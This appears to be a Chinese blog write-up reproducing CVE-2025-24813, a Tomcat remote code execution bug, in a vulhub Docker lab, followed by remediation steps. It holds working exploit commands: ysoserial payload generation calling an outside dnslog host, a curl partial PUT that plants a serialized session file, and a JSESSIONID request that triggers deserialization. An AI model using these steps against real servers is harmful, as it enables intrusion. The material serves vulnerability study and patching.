漏洞复现-tomcat远程代码执行 CVE-2025-24813(RCE)
一、漏洞背景与风险等级
- 漏洞类型:远程代码执行(RCE)
- 影响版本:
- Tomcat 9.x ~ 9.0.97
- Tomcat 10.x ~ 10.1.34
- Tomcat 11.x ~ 11.0.2
- 风险等级:高危(CVSS 9.8+)
- 漏洞成因:
- 错误配置 1:
DefaultServlet配置为可写(readonly=false),允许文件上传。 - 错误配置 2:基于文件的会话持久化(
FileStore)与DefaultServlet使用相同存储路径。 - 利用点:通过
Content-Range头写入恶意序列化文件,并通过JSESSIONID触发反序列化。
- 错误配置 1:
二、复现环境搭建
-
启动漏洞环境
- 使用
vulhub提供的 Docker 环境:docker compose up -d

- 验证服务:访问
http://your-ip:8080,确认 Tomcat 示例页面正常加载。 
- 使用
-
攻击机准备
- 工具:
curl:发送 HTTP 请求。ysoserial:生成恶意序列化对象(如URLDNSGadget)。tcpdump或 Wireshark:捕获 DNS 请求(验证反序列化)。
- 工具:
三、漏洞复现步骤
1. 生成恶意序列化对象
- 使用 ysoserial:
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS "http://9yjyon.dnslog.cn" > payload.bin- 说明:生成一个触发 DNS 查询的序列化对象(用于验证漏洞利用)。

- 说明:生成一个触发 DNS 查询的序列化对象(用于验证漏洞利用)。
2. 写入恶意文件到临时目录
- 发送部分 PUT 请求:
或单行格式curl -X PUT http://your-ip:8080/deserialize/session \ -H "Content-Range: bytes 0-5/10" \ -H "Content-Length: 1234" \ --data-binary @payload.bin
curl -X PUT http://your-ip:8080/deserialize/session -H "Content-Range: bytes 0-5/10" -H "Content-Length: 1234" --data-binary @payload.bin
- 关键点:
Content-Range头触发 Tomcat 将文件路径中的/替换为.,写入.deserialize.session文件。- 文件存储路径:
$CATALINA_BASE/work/Catalina/localhost/ROOT/.deserialize.session。

3. 触发反序列化
- 发送带恶意 JSESSIONID 的请求:
curl -v http://192.168.253.138:8080/ -H "Cookie: JSESSIONID=.deserialize"- 预期结果:
- Tomcat 读取
.deserialize.session文件并反序列化,触发URLDNSGadget。 - DNS 请求发送到
your-dnslog-server.com,证明反序列化成功。

dnslog收到请求

bp也提供了dnslog类似的功能

- Tomcat 读取
- 预期结果:
四、漏洞修复建议
- 禁用 DefaultServlet 文件写入
- 修改
conf/web.xml,设置readonly=true:<init-param> <param-name>readonly</param-name> <param-value>true</param-value> </init-param>
- 修改
- 禁用基于文件的会话持久化
- 修改
conf/context.xml,使用StandardManager替代PersistentManager:<Manager className="org.apache.catalina.session.StandardManager" />
- 修改
- 升级 Tomcat 版本
- 升级到官方修复版本(如 Tomcat 9.0.98+)。
五、总结
- 漏洞本质:错误配置导致文件写入和反序列化漏洞结合。
- 影响范围:所有使用 Tomcat 9.x ~ 11.x 特定版本的系统。
- 修复优先级:极高,建议立即升级或禁用相关配置。
&spm=1001.2101.3001.5002&articleId=148494824&d=1&t=3&u=121f99fc9c9941b1bc161cdd1f7d7c4c)

被折叠的 条评论
为什么被折叠?



